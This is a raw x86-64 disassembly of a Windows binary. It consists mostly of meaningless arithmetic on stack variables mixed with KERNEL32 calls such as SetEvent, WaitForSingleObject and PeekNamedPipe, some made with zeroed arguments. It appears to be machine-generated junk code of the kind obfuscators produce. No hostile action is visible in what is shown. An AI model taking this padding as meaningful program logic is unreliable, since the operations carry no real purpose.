mov rcx, qword [rsp + 0x5618]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c58]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x69c]
sub eax, ecx
mov rcx, qword [0x14018bfa8]
mov word [rcx], ax
movzx eax, word [rsp + 0xd9c]
movzx ecx, word [rsp + 0x3dc]
add eax, ecx
mov rcx, qword [rsp + 0x4588]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1c6]
mov byte [rsp + 0x1d2], al
mov rax, qword [rsp + 0x51a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1e80]
sar eax, cl
mov rcx, qword [rsp + 0x53a0]
mov dword [rcx], eax
lea rax, [rsp + 0x4b98]
mov qword [rsp + 0x5690], rax
mov rax, qword [rsp + 0x4f18]
mov rcx, qword [rsp + 0x2b88]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c70]
mov qword [rcx], rax
lea rax, [rsp + 0x207c]
mov qword [rsp + 0x5698], rax
movsx eax, byte [rsp + 0x1ac]
movsx ecx, byte [0x14018acdb]
sub eax, ecx
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
mov rax, qword [rsp + 0x3f00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xac4]
add eax, ecx
mov word [rsp + 0xd6c], ax
lea rax, [rsp + 0x97c]
mov qword [0x14018c1b8], rax
mov rax, qword [rsp + 0x45c0]
mov rcx, qword [rsp + 0x2ac8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2ad0], rax
mov rax, qword [rsp + 0x4e70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcd0]
shl eax, cl
mov rcx, qword [rsp + 0x45c8]
mov word [rcx], ax
lea rax, [rsp + 0xdb0]
mov qword [rsp + 0x56a0], rax
mov rax, qword [0x14018c068]
mov rcx, qword [rsp + 0x4330]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x40b0], rax
mov rax, qword [rsp + 0x5518]
mov rcx, qword [rsp + 0x43d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4d68], rax
mov eax, dword [rsp + 0x2040]
mov dword [rsp + 0x20f0], eax
mov rax, qword [rsp + 0x4dd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a0]
sar eax, cl
mov byte [rsp + 0x1b1], al
lea rax, [rsp + 0xd98]
mov qword [rsp + 0x56a8], rax
lea rax, [rsp + 0x2e48]
mov qword [0x14018c1c0], rax
mov rax, qword [rsp + 0x3bb8]
mov ecx, dword [rsp + 0x2070]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1c2c], eax
mov rax, qword [rsp + 0x4ba0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4968]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x46d0]
mov byte [rcx], al
lea rax, [rsp + 0xd20]
mov qword [rsp + 0x56b0], rax
mov rax, qword [rsp + 0x4078]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x61c]
and eax, ecx
mov word [rsp + 0xd64], ax
movsx eax, byte [rsp + 0x1c1]
mov rcx, qword [rsp + 0x3e48]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x11d], al
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4720]
mov qword [rsp + 0x56b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x56b8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x5440]
mov dword [rcx], eax
lea rax, [rsp + 0x37b0]
mov qword [rsp + 0x56c0], rax
mov rax, qword [rsp + 0x5448]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x40b8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov word [rcx], ax
movzx eax, word [rsp + 0xc34]
mov rcx, qword [rsp + 0x4b30]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14018c078]
mov word [rcx], ax
mov rax, qword [rsp + 0x3e70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3630]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x53f0]
mov qword [rcx], rax
lea rax, [rsp + 0x2b50]
mov qword [rsp + 0x56c8], rax
mov rax, qword [rsp + 0x4e28]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3250]
shl rax, cl
mov qword [rsp + 0x2ac8], rax
lea rax, [rsp + 0xc58]
mov qword [rsp + 0x56d0], rax
mov rax, qword [rsp + 0x5478]
mov rcx, qword [rsp + 0x43f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1ec4], eax
movsx eax, byte [rsp + 0x1cb]
movsx ecx, byte [0x14018acdb]
or eax, ecx
mov byte [rsp + 0x1ca], al
lea rax, [rsp + 0x2d08]
mov qword [rsp + 0x56d8], rax
mov rax, qword [rsp + 0x4d38]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4988]
mov qword [rsp + 0x56e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x56e0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x56e8], rax
movsx eax, word [rsp + 0x3f8]
movsx ecx, word [rsp + 0xda0]
add eax, ecx
mov word [0x14018be58], ax
movzx eax, word [rsp + 0xc9c]
mov rcx, qword [rsp + 0x3e38]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd08], ax
mov rax, qword [rsp + 0x4e70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4a30]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x97c], ax
lea rax, [rsp + 0x3630]
mov qword [rsp + 0x56f0], rax
mov rax, qword [rsp + 0x4368]
mov rcx, qword [rsp + 0x4008]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1fe4], eax
mov rax, qword [rsp + 0x4c60]
mov qword [rsp + 0x56f8], rax
movsx eax, byte [rsp + 0x1c5]
mov rcx, qword [rsp + 0x4ba8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x18d], al
movsx eax, word [rsp + 0xca8]
movsx ecx, word [rsp + 0xcec]
sar eax, cl
mov rcx, qword [rsp + 0x56d0]
mov word [rcx], ax
movzx eax, word [rsp + 0xcf8]
mov word [rsp + 0xdb8], ax
lea rax, [rsp + 0x3038]
mov qword [0x14018c1c8], rax
movzx eax, word [rsp + 0xd60]
mov rcx, qword [rsp + 0x4850]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3d8], ax
lea rax, [rsp + 0x2d90]
mov qword [rsp + 0x5700], rax
mov rax, qword [rsp + 0x41a0]
mov rax, qword [rax]
mov rcx, qword [0x14018c018]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2d90], rax
mov rax, qword [rsp + 0x4bd8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4ec0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x109], al
mov rax, qword [rsp + 0x3dc8]
mov eax, dword [rax]
mov ecx, dword [0x14018ad34]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x53e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4da8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4010]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xc6], al
mov rax, qword [rsp + 0x4ea0]
mov eax, dword [rax]
mov dword [rsp + 0x20f4], eax
mov rax, qword [0x14018c098]
mov rcx, qword [rsp + 0x5190]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b88]
mov qword [rcx], rax
lea rax, [rsp + 0xd3c]
mov qword [0x14018c1d0], rax
lea rax, [rsp + 0xc68]
mov qword [rsp + 0x5708], rax
movzx eax, word [rsp + 0xd8c]
movzx ecx, word [rsp + 0x8b0]
sar eax, cl
mov rcx, qword [rsp + 0x3fd0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5420]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3f20]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd34], ax
lea rax, [rsp + 0x207c]
mov qword [rsp + 0x5710], rax
mov rax, qword [rsp + 0x3c98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2e70]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4950]
mov qword [rcx], rax
mov rax, qword [rsp + 0x42b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b1]
and eax, ecx
mov byte [rsp + 0x10e], al
movsx eax, word [rsp + 0xd40]
mov rcx, qword [0x14018c180]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4618]
mov word [rcx], ax
mov rax, qword [rsp + 0x4920]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd10]
sub eax, ecx
mov word [rsp + 0xc9c], ax
mov rax, qword [rsp + 0x45c0]
mov rcx, qword [rsp + 0x4330]
mov qword [rsp + 0x5718], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5718]
mov rax, qword [rax]
sar rax, cl
mov qword [0x14018acf0], rax
mov rcx, qword [rsp + 0x4de0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x20f8], eax
mov rax, qword [rsp + 0x51d0]
mov rax, qword [rax]
mov qword [rsp + 0x5720], rax
mov rax, qword [rsp + 0x4068]
mov rcx, qword [rsp + 0x4c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x50b0], rax
mov rax, qword [rsp + 0x4eb8]
mov rax, qword [rax]
mov qword [rsp + 0x5728], rax
mov rax, qword [rsp + 0x5508]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5218]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4ab8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1c3]
mov rcx, qword [rsp + 0x4fe8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
lea rax, [rsp + 0x1fc0]
mov qword [rsp + 0x5730], rax
mov rax, qword [rsp + 0x52c8]
mov ecx, dword [0x14018ad60]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3e30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x47c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4118]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xca], al
mov rax, qword [rsp + 0x56d8]
mov rcx, qword [0x14018c098]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14018be10], rax
mov rax, qword [rsp + 0x3b70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd38]
sar eax, cl
mov word [rsp + 0xd24], ax
lea rax, [rsp + 0x3b8]
mov qword [rsp + 0x5738], rax
movzx eax, word [rsp + 0xd60]
mov rcx, qword [rsp + 0x41f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd9c], ax
mov rax, qword [rsp + 0x49f0]
mov rcx, qword [rsp + 0x3428]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4e50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x47f8]
mov qword [rsp + 0x5740], rax
movsx eax, byte [rsp + 0x1b1]
mov rcx, qword [0x14018bee0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4820]
mov byte [rcx], al
lea rax, [rsp + 0x1ff4]
mov qword [rsp + 0x5748], rax
movsx eax, word [rsp + 0xcc0]
movsx ecx, word [rsp + 0xd24]
and eax, ecx
mov rcx, qword [rsp + 0x44c8]
mov word [rcx], ax
lea rax, [rsp + 0xd94]
mov qword [0x14018c1d8], rax
mov rax, qword [rsp + 0x51d0]
mov rcx, qword [rsp + 0x48b8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4b28]
mov qword [rcx], rax
movzx eax, word [rsp + 0xda8]
mov rcx, qword [rsp + 0x55b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x860], ax
movzx eax, byte [rsp + 0xe7]
mov rcx, qword [rsp + 0x3f10]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4a20]
mov byte [rcx], al
mov rax, qword [rsp + 0x4138]
mov eax, dword [rax]
mov dword [rsp + 0x20fc], eax
mov eax, dword [rsp + 0x1f44]
mov ecx, dword [rsp + 0x209c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1e7c], eax
mov rax, qword [rsp + 0x4238]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11d]
or eax, ecx
mov rcx, qword [rsp + 0x50a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3fc0]
mov qword [rsp + 0x5750], rax
movsx eax, word [rsp + 0xd24]
mov rcx, qword [rsp + 0x52a0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4528]
mov word [rcx], ax
mov rax, qword [0x14018bf78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5508]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14018c190]
mov word [rcx], ax
lea rax, [rsp + 0x45c0]
mov qword [rsp + 0x5758], rax
mov rax, qword [rsp + 0x4e28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x52d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3510], rax
lea rax, [0x14018c118]
mov qword [rsp + 0x5760], rax
mov rax, qword [rsp + 0x55d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd7c]
sub eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov word [rcx], ax
mov rax, qword [rsp + 0x48d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3220]
shr rax, cl
mov rcx, qword [rsp + 0x3c98]
mov qword [rcx], rax
lea rax, [rsp + 0x1c3c]
mov qword [rsp + 0x5768], rax
movsx eax, byte [rsp + 0x1b5]
movsx ecx, byte [rsp + 0x101]
and eax, ecx
mov rcx, qword [rsp + 0x4050]
mov byte [rcx], al
mov rax, qword [rsp + 0x4fa0]
mov rcx, qword [0x14018ace0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x36c8], rax
lea rax, [rsp + 0xd74]
mov qword [0x14018c1e0], rax
movzx eax, word [rsp + 0xcc4]
mov rcx, qword [rsp + 0x4960]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3bb8]
mov ecx, dword [rsp + 0x1de0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2094], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov rax, qword [rsp + 0x5378]
movzx eax, byte [rax]
mov byte [rsp + 0x1d3], al
mov rax, qword [rsp + 0x4a50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4550]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2fc8], rax
mov rax, qword [rsp + 0x4f70]
mov rcx, qword [0x14018ad18]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3068], rax
mov rax, qword [rsp + 0x5588]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ca]
or eax, ecx
mov rcx, qword [rsp + 0x41a8]
mov byte [rcx], al
mov eax, dword [rsp + 0x20c0]
movzx ecx, al
mov eax, dword [rsp + 0x1b14]
shl eax, cl
mov dword [rsp + 0x2088], eax
movzx eax, word [0x14018bdc4]
mov word [rsp + 0xdbc], ax
mov rax, qword [rsp + 0x4a48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b78]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14018c038]
mov word [rcx], ax
mov rax, qword [rsp + 0x41a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b60]
mov qword [rsp + 0x5770], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5770]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x5310]
mov qword [rcx], rax
movzx eax, word [rsp + 0xd60]
movzx ecx, word [rsp + 0xce0]
add eax, ecx
mov word [rsp + 0x3a4], ax
mov rcx, qword [rsp + 0x4488]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0xc88]
mov rcx, qword [rsp + 0x4190]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4780]
mov word [rcx], ax
mov rax, qword [rsp + 0x4730]
mov rcx, qword [rsp + 0x3630]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3320], rax
lea rax, [rsp + 0x2088]
mov qword [rsp + 0x5778], rax
movsx eax, byte [rsp + 0x1ad]
mov rcx, qword [rsp + 0x42e8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x53d8]
mov byte [rcx], al
lea rax, [0x14018ad18]
mov qword [rsp + 0x5780], rax
mov rax, qword [rsp + 0x4b40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcd8]
sar eax, cl
mov rcx, qword [rsp + 0x4d58]
mov word [rcx], ax
lea rax, [rsp + 0x5050]
mov qword [0x14018c1e8], rax
mov eax, dword [rsp + 0x20f4]
mov dword [rsp + 0x2100], eax
movzx eax, byte [rsp + 0x1bf]
movzx ecx, byte [rsp + 0xe7]
and eax, ecx
mov rcx, qword [rsp + 0x45f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5188]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4640]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4980]
mov word [rcx], ax
lea rax, [rsp + 0xd08]
mov qword [rsp + 0x5788], rax
mov rax, qword [rsp + 0x4ae8]
mov ecx, dword [rsp + 0x20e4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x41c0]
mov dword [rcx], eax
mov r9d, 0x3bf
xor r8d, r8d
lea rdx, [rsp + 0x55a8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x2080], eax
lea rax, [rsp + 0x16e]
mov qword [rsp + 0x5790], rax
mov rax, qword [rsp + 0x5490]
mov rcx, qword [0x14018c098]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4fc8]
mov qword [rcx], rax
movsx eax, word [rsp + 0xcdc]
mov rcx, qword [rsp + 0x43c0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4490]
mov word [rcx], ax
mov rax, qword [rsp + 0x4fe0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdb8]
or eax, ecx
mov word [0x14018ad50], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2104], eax
mov rax, qword [rsp + 0x2bd0]
mov qword [rsp + 0x5798], rax
mov rax, qword [rsp + 0x48a8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x40b0]
shl rax, cl
mov rcx, qword [rsp + 0x4e28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5720]
movzx ecx, al
mov rax, qword [rsp + 0x3de8]
sar rax, cl
mov qword [rsp + 0x2b18], rax
mov rax, qword [rsp + 0x4618]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4658]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xda0], ax
mov edx, 0x214e
mov rcx, qword [rsp + 0x3b10]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x2018], eax
mov rax, qword [rsp + 0x4088]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a0]
sub eax, ecx
mov rcx, qword [rsp + 0x4f98]
mov byte [rcx], al
lea rax, [0x14018be10]
mov qword [rsp + 0x57a0], rax
mov eax, dword [rsp + 0x20cc]
mov ecx, dword [rsp + 0x2084]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3bd8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1c2c]
mov dword [rsp + 0x2108], eax
mov rax, qword [rsp + 0x4fe8]
movzx eax, byte [rax]
mov rcx, qword [0x14018bdd0]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x1d1], al
lea rax, [rsp + 0x624]
mov qword [0x14018c1f0], rax
lea rax, [rsp + 0xbdc]
mov qword [rsp + 0x57a8], rax
movzx eax, word [rsp + 0xd90]
mov rcx, qword [rsp + 0x5630]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xad4], ax
mov rax, qword [rsp + 0x3510]
movzx ecx, al
mov rax, qword [rsp + 0x2b68]
sar rax, cl
mov qword [rsp + 0x3280], rax
lea rax, [rsp + 0x2d08]
mov qword [rsp + 0x57b0], rax
mov rax, qword [rsp + 0x5710]
mov rcx, qword [rsp + 0x3f68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1d4c], eax
lea rax, [0x14018acd9]
mov qword [rsp + 0x57b8], rax
movsx eax, word [rsp + 0x3f8]
mov rcx, qword [rsp + 0x5278]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4828]
mov word [rcx], ax
movzx eax, word [rsp + 0x4d4]
movzx ecx, word [rsp + 0xcd4]
xor eax, ecx
mov rcx, qword [rsp + 0x5410]
mov word [rcx], ax
mov rax, qword [rsp + 0x4690]
mov rax, qword [rax]
mov qword [0x14018c1f8], rax
lea rax, [rsp + 0xd4c]
mov qword [rsp + 0x57c0], rax
mov rax, qword [rsp + 0x33f8]
mov rcx, qword [rsp + 0x4648]
mov qword [rsp + 0x57c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x57c8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x3630], rax
lea rax, [0x14018be30]
mov qword [rsp + 0x57d0], rax
mov eax, dword [rsp + 0x1c80]
mov ecx, dword [rsp + 0x1b14]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1e0c], eax
mov rax, qword [rsp + 0x45f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5010]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x167], al
mov eax, dword [rsp + 0x20d4]
mov ecx, dword [rsp + 0x1ec0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1e98], eax
movzx eax, byte [rsp + 0x1c6]
movzx ecx, byte [rsp + 0x1d2]
sub eax, ecx
mov byte [rsp + 0xc6], al
lea rax, [rsp + 0x4f18]
mov qword [rsp + 0x57d8], rax
mov rax, qword [rsp + 0x3cf0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c58]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14018c030], ax
mov rax, qword [rsp + 0x45e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbb4]
sub eax, ecx
mov rcx, qword [rsp + 0x56d0]
mov word [rcx], ax
mov rax, qword [0x14018bff8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x39c]
and eax, ecx
mov rcx, qword [rsp + 0x5218]
mov word [rcx], ax
lea rax, [rsp + 0xcf0]
mov qword [rsp + 0x57e0], rax
mov rax, qword [rsp + 0x47f8]
movzx ecx, al
mov rax, qword [rsp + 0x46e8]
shr rax, cl
mov rcx, qword [rsp + 0x5178]
mov qword [rcx], rax
lea rax, [0x14018acd9]
mov qword [rsp + 0x57e8], rax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x5608]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1e00], eax
lea rax, [rsp + 0xcec]
mov qword [rsp + 0x57f0], rax
movzx eax, word [rsp + 0xd10]
movzx ecx, word [rsp + 0x8fc]
sub eax, ecx
mov rcx, qword [rsp + 0x4ab8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2bd0]
movzx ecx, al
mov rax, qword [rsp + 0x52d0]
shl rax, cl
mov qword [0x14018acf0], rax
mov rax, qword [rsp + 0x4130]
mov rcx, qword [rsp + 0x3368]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4330]
mov qword [rcx], rax
mov rax, qword [0x14018c1e8]
mov rax, qword [rax]
mov qword [rsp + 0x57f8], rax
mov rax, qword [rsp + 0x4330]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x50b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x2ac8], rax
lea rax, [rsp + 0xd00]
mov qword [rsp + 0x5800], rax
mov eax, dword [rsp + 0x1fd0]
mov ecx, dword [rsp + 0x1f20]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x20fc], eax
movzx eax, byte [rsp + 0x14a]
movzx ecx, byte [rsp + 0x80]
sar eax, cl
mov rcx, qword [rsp + 0x4da8]
mov byte [rcx], al
lea rax, [rsp + 0x3068]
mov qword [rsp + 0x5808], rax
mov rax, qword [rsp + 0x4368]
mov rcx, qword [rsp + 0x5638]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4838]
mov dword [rcx], eax
lea rax, [rsp + 0x101]
mov qword [0x14018c200], rax
lea rax, [rsp + 0x69c]
mov qword [rsp + 0x5810], rax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
movsx ecx, word [0x14018c118]
and eax, ecx
mov rcx, qword [rsp + 0x4fc0]
mov word [rcx], ax
movzx eax, word [rsp + 0xd60]
movzx ecx, word [rsp + 0xd94]
and eax, ecx
mov rcx, qword [rsp + 0x4d58]
mov word [rcx], ax
lea rax, [rsp + 0x3390]
mov qword [rsp + 0x5818], rax
movsx eax, byte [rsp + 0x1c1]
movsx ecx, byte [0x14018acd9]
sub eax, ecx
mov rcx, qword [rsp + 0x5400]
mov byte [rcx], al
lea rax, [rsp + 0x3068]
mov qword [rsp + 0x5820], rax
mov eax, dword [rsp + 0x20a8]
mov ecx, dword [rsp + 0x1fe4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x53e8]
mov dword [rcx], eax
movsx eax, word [rsp + 0xd74]
mov rcx, qword [0x14018bea0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4490]
mov word [rcx], ax
lea rax, [rsp + 0xcc8]
mov qword [0x14018c208], rax
mov rax, qword [rsp + 0x34f8]
mov qword [rsp + 0x5828], rax
mov rax, qword [rsp + 0x53c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd4c]
and eax, ecx
mov rcx, qword [rsp + 0x4908]
mov word [rcx], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
lea rax, [rsp + 0x2108]
mov qword [rsp + 0x5830], rax
mov rax, qword [rsp + 0x4e88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe7]
xor eax, ecx
mov rcx, qword [rsp + 0x4b58]
mov byte [rcx], al
lea rax, [rsp + 0x2fa8]
mov qword [rsp + 0x5838], rax
mov rax, qword [0x14018bee0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c0]
shl eax, cl
mov byte [rsp + 0x1a0], al
mov rax, qword [rsp + 0x4420]
mov rcx, qword [rsp + 0x5398]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4998]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e08]
movsx eax, word [rax]
mov rcx, qword [0x14018bff0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3ac], ax
movzx eax, word [rsp + 0x39c]
mov rcx, qword [rsp + 0x4960]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14018c008]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3fd8]
mov qword [rsp + 0x5840], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5840]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4718]
mov qword [rcx], rax
lea rax, [0x14018c018]
mov qword [rsp + 0x5848], rax
movsx eax, word [rsp + 0xc68]
mov rcx, qword [rsp + 0x5660]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4058]
mov word [rcx], ax
movzx eax, word [rsp + 0xad4]
movzx ecx, word [0x14018ad04]
add eax, ecx
mov rcx, qword [rsp + 0x4d18]
mov word [rcx], ax
lea rax, [rsp + 0x4060]
mov qword [rsp + 0x5850], rax
mov rax, qword [rsp + 0x3b80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20e4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3bd8]
mov dword [rcx], eax
lea rcx, [rsp + 0x15818]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x1b7]
mov qword [rsp + 0x5858], rax
mov rax, qword [0x14018bfe8]
mov rcx, qword [rsp + 0x4068]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x52d0], rax
mov rax, qword [rsp + 0x5320]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5c8]
and eax, ecx
mov word [0x14018ad64], ax
mov rax, qword [rsp + 0x4ef8]
